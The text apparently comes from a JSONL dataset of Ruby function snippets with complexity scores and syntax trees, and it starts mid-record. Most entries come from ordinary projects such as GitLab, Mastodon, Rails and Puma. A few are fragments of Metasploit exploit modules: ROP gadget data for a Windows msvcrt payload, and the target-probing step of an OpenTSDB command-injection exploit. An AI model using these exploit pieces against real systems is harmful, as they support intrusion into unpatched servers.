end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_windows_msvcrt_payload\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fake_memory\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"junk\"]},{\"type\":\"int\",\"children\":[202116108]},{\"type\":\"int\",\"children\":[202116108]},{\"type\":\"int\",\"children\":[202116124]},{\"type\":\"int\",\"children\":[202116132]},{\"type\":\"int\",\"children\":[202116136]},{\"type\":\"send\",\"children\":[null,\"junk\"]},{\"type\":\"send\",\"children\":[null,\"junk\"]},{\"type\":\"int\",\"children\":[202116108]},{\"type\":\"int\",\"children\":[202116156]},{\"type\":\"int\",\"children\":[2009210612]},{\"type\":\"int\",\"children\":[2009161429]},{\"type\":\"int\",\"children\":[202116148]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V*\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_rop_payload\",{\"type\":\"str\",\"children\":[\"msvcrt\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pivot\"]},{\"type\":\"lvar\",\"children\":[\"fake_memory\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"target\"]},{\"type\":\"str\",\"children\":[\"xp\"]}]}]}]}]}]}]}","id":"6e1cf564-f5f0-48a1-92fe-6bde21a6b487"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/resolvers/concerns/board_item_filterable.rb","start_line":36,"raw_source":"def rewrite_param_name(filters, old_name, new_name)\n    filters[new_name] = filters.delete(old_name) if filters[old_name].present?\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"rewrite_param_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filters\"]},{\"type\":\"arg\",\"children\":[\"old_name\"]},{\"type\":\"arg\",\"children\":[\"new_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"old_name\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"new_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filters\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"old_name\"]}]}]},null]}]}","id":"52d0bb09-d345-4493-ab05-d1ac3e517328"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_out_of_band_server.rb","start_line":157,"raw_source":"def test_blocks_new_connection\n    oob_server oob_wait: true, max_threads: 2\n    @mutex.synchronize do\n      send_http(\"GET / HTTP/1.0\\r\\n\\r\\n\")\n      @oob_finished.wait(@mutex)\n    end\n    accepted = false\n    io = @server.binder.ios.last\n    io.stub(:accept_nonblock, -> {accepted = true; new_connection}) do\n      new_connection.close\n      sleep 0.01\n    end\n    refute accepted, 'New connection accepted during out of band'\n  end","complexity_score":22.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_blocks_new_connection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oob_server\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"oob_wait\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_threads\"]},{\"type\":\"int\",\"children\":[2]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_http\",{\"type\":\"str\",\"children\":[\"GET / HTTP/1.0\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@oob_finished\"]},\"wait\",{\"type\":\"ivar\",\"children\":[\"@mutex\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"accepted\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"io\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server\"]},\"binder\"]},\"ios\"]},\"last\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"io\"]},\"stub\",{\"type\":\"sym\",\"children\":[\"accept_nonblock\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"accepted\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"new_connection\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_connection\"]},\"close\"]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.01]}]}]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"lvar\",\"children\":[\"accepted\"]},{\"type\":\"str\",\"children\":[\"New connection accepted during out of band\"]}]}]}]}","id":"2e3c13ef-5d07-4616-b5ae-d0dbd4f12b02"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/command/plugin_config_formatter.rb","start_line":158,"raw_source":"def dump_section_markdown(base_section, level = 0)\n    dumped = \"\"\n    if base_section[:section]\n      sections = []\n      params = base_section\n    else\n      sections, params = base_section.partition {|_name, value| value[:section] }\n    end\n    if @table && (not params.empty?)\n      dumped << \"### Configuration\\n\\n\"\n      dumped << \"|parameter|type|description|default|\\n\"\n      dumped << \"|---|---|---|---|\\n\"\n    end\n    params.each do |name, config|\n      next if name == :section\n      template_name = if @compact\n                        \"param.md-compact.erb\"\n                      elsif @table\n                        \"param.md-table.erb\"\n                      else\n                        \"param.md.erb\"\n                      end\n      template = template_path(template_name).read\n      dumped <<\n        if ERB.instance_method(:initialize).parameters.assoc(:key) # Ruby 2.6+\n          ERB.new(template, trim_mode: \"-\")\n        else\n          ERB.new(template, nil, \"-\")\n        end.result(binding)\n    end\n    dumped << \"\\n\"\n    sections.each do |section_name, sub_section|\n      required = sub_section.delete(:required)\n      multi = sub_section.delete(:multi)\n      alias_name = sub_section.delete(:alias)\n      sub_section.delete(:section)\n      template = template_path(\"section.md.erb\").read\n      dumped <<\n        if ERB.instance_method(:initialize).parameters.assoc(:key) # Ruby 2.6+\n          ERB.new(template, trim_mode: \"-\")\n        else\n          ERB.new(template, nil, \"-\")\n        end.result(binding)\n    end\n    dumped\n  end","complexity_score":81.4,"ast_json":"{\"type\":\"def\",\"children\":[\"dump_section_markdown\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base_section\"]},{\"type\":\"optarg\",\"children\":[\"level\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dumped\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_section\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sections\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"lvar\",\"children\":[\"base_section\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sections\"]},{\"type\":\"lvasgn\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base_section\"]},\"partition\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_name\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"section\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@table\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"empty?\"]},\"!\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dumped\"]},\"<<\",{\"type\":\"str\",\"children\":[\"### Configuration\\n\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dumped\"]},\"<<\",{\"type\":\"str\",\"children\":[\"|parameter|type|description|default|\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dumped\"]},\"<<\",{\"type\":\"str\",\"children\":[\"|---|---|---|---|\\n\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"section\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"template_name\",{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@compact\"]},{\"type\":\"str\",\"children\":[\"param.md-compact.erb\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@table\"]},{\"type\":\"str\",\"children\":[\"param.md-table.erb\"]},{\"type\":\"str\",\"children\":[\"param.md.erb\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template_path\",{\"type\":\"lvar\",\"children\":[\"template_name\"]}]},\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dumped\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"instance_method\",{\"type\":\"sym\",\"children\":[\"initialize\"]}]},\"parameters\"]},\"assoc\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trim_mode\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"-\"]}]}]},\"result\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dumped\"]},\"<<\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sections\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section_name\"]},{\"type\":\"arg\",\"children\":[\"sub_section\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"required\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_section\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"required\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_section\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"multi\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"alias_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_section\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"alias\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sub_section\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"section\"]}]},{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template_path\",{\"type\":\"str\",\"children\":[\"section.md.erb\"]}]},\"read\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dumped\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"instance_method\",{\"type\":\"sym\",\"children\":[\"initialize\"]}]},\"parameters\"]},\"assoc\",{\"type\":\"sym\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"trim_mode\"]},{\"type\":\"str\",\"children\":[\"-\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"template\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"-\"]}]}]},\"result\",{\"type\":\"send\",\"children\":[null,\"binding\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"dumped\"]}]}]}","id":"5de45632-6e36-416b-9e24-70d5e9c92838"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/opentsdb_key_cmd_injection.rb","start_line":127,"raw_source":"def select_metric\n    # check if any metrics have been configured. if not, exploitation cannot work\n    res = send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'suggest'),\n      'vars_get' => { 'type' => 'metrics' }\n    })\n\n    unless res\n      fail_with(Failure::Unknown, 'Connection failed.')\n    end\n\n    unless res.code == 200\n      fail_with(Failure::UnexpectedReply, \"Received unexpected status code #{res.code} when checking the configured metrics\")\n    end\n\n    begin\n      metrics = JSON.parse(res.body)\n    rescue JSON::ParserError\n      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.')\n    end\n\n    unless metrics.is_a?(Array)\n      fail_with(Failure::UnexpectedReply, 'Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array')\n    end\n\n    if metrics.empty?\n      fail_with(Failure::NoTarget, 'Failed to identify any configured metrics. This makes exploitation impossible')\n    end\n\n    # select a random metric since any will do\n    @metric = metrics.sample\n    print_status(\"Identified #{metrics.length} configured metrics. Using metric #{@metric}\")\n  end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"select_metric\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"suggest\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"metrics\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Connection failed.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received unexpected status code \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]}]},{\"type\":\"str\",\"children\":[\" when checking the configured metrics\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"metrics\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"ParserError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Received unexpected reply when checking the configured metrics: The response body did not contain valid JSON.\"]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Received unexpected reply when checking the configured metrics: The response body did not contain a JSON array\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"Failed to identify any configured metrics. This makes exploitation impossible\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@metric\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"sample\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Identified \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"metrics\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" configured metrics. Using metric \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metric\"]}]}]}]}]}]}","id":"9ee0527d-0c08-4d10-9390-be3f8886cfb6"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/follow_recommendations_controller.rb","start_line":14,"raw_source":"def update\n      authorize :follow_recommendation, :show?\n\n      @form = Form::AccountBatch.new(form_account_batch_params.merge(current_account: current_account, action: action_from_button))\n      @form.save\n    rescue ActionController::ParameterMissing\n      # Do nothing\n    ensure\n      redirect_to admin_follow_recommendations_path(filter_params)\n    end","complexity_score":15.6,"ast_json":"{\"type\":\"def\",\"children\":[\"update\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authorize\",{\"type\":\"sym\",\"children\":[\"follow_recommendation\"]},{\"type\":\"sym\",\"children\":[\"show?\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@form\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Form\"]},\"AccountBatch\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_account_batch_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_account\"]},{\"type\":\"send\",\"children\":[null,\"current_account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[null,\"action_from_button\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@form\"]},\"save\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionController\"]},\"ParameterMissing\"]}]},null,null]},null]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_follow_recommendations_path\",{\"type\":\"send\",\"children\":[null,\"filter_params\"]}]}]}]}]}","id":"2481094e-c154-4fcb-9111-38d11dc298bb"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/web/push_subscription.rb","start_line":35,"raw_source":"def pushable?(notification)\n    policy_allows_notification?(notification) && alert_enabled_for_notification_type?(notification)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pushable?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"policy_allows_notification?\",{\"type\":\"lvar\",\"children\":[\"notification\"]}]},{\"type\":\"send\",\"children\":[null,\"alert_enabled_for_notification_type?\",{\"type\":\"lvar\",\"children\":[\"notification\"]}]}]}]}","id":"8a9e4d53-8630-41f5-b0f6-d892a4a3e0c7"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":579,"raw_source":"def test_viewport_meta_tag_is_present\n    run_generator [destination_root]\n\n    assert_file \"app/views/layouts/application.html.erb\" do |contents|\n      assert_match(/<meta name=\"viewport\"/, contents)\n    end\n  end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_viewport_meta_tag_is_present\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/views/layouts/application.html.erb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"contents\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"<meta name=\\\"viewport\\\"\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"contents\"]}]}]}]}]}","id":"93df41e8-0173-452f-af81-728d9c436293"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/lib/open_project/two_factor_authentication/token_strategy/sns.rb","start_line":52,"raw_source":"def build_token_text(token)\n        I18n.t(\"two_factor_authentication.text_otp_delivery_message_sms\", app_title: Setting.app_title, token:)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"build_token_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"token\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"two_factor_authentication.text_otp_delivery_message_sms\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"app_title\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]}]}]}]}]}","id":"f7cc6d3f-0b2c-4998-b94f-99d164f91036"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/group/tree_restorer.rb","start_line":80,"raw_source":"def process_child(group_id)\n          group_attributes = GroupAttributes.new(group_id, relation_reader)\n\n          group = create_group(group_attributes)\n\n          restore_group(group, group_attributes)\n        rescue StandardError => e\n          import_failure_service.log_import_failure(\n            source: 'process_child',\n            relation_key: 'group',\n            exception: e\n          )\n        end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"process_child\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_id\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GroupAttributes\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"group_id\"]},{\"type\":\"send\",\"children\":[null,\"relation_reader\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[null,\"create_group\",{\"type\":\"lvar\",\"children\":[\"group_attributes\"]}]}]},{\"type\":\"send\",\"children\":[null,\"restore_group\",{\"type\":\"lvar\",\"children\":[\"group\"]},{\"type\":\"lvar\",\"children\":[\"group_attributes\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"import_failure_service\"]},\"log_import_failure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"process_child\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relation_key\"]},{\"type\":\"str\",\"children\":[\"group\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"exception\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}","id":"82591e91-1ecf-42db-acb7-4abf64a10996"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2448,"raw_source":"def invalidate_project_counter_caches\n    Projects::OpenMergeRequestsCountService.new(target_project).delete_cache\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_project_counter_caches\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"OpenMergeRequestsCountService\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"target_project\"]}]},\"delete_cache\"]}]}","id":"e0db1f15-2d85-448e-b49f-da7dfdd34818"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/jenkins_java_deserialize.rb","start_line":189,"raw_source":"def print_status(msg = '')\n    super(\"#{rhost}:#{rport} - #{msg}\")\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"print_status\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"msg\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]}]}]}","id":"4622c90b-dd9c-41df-b59e-405999b5d19b"}
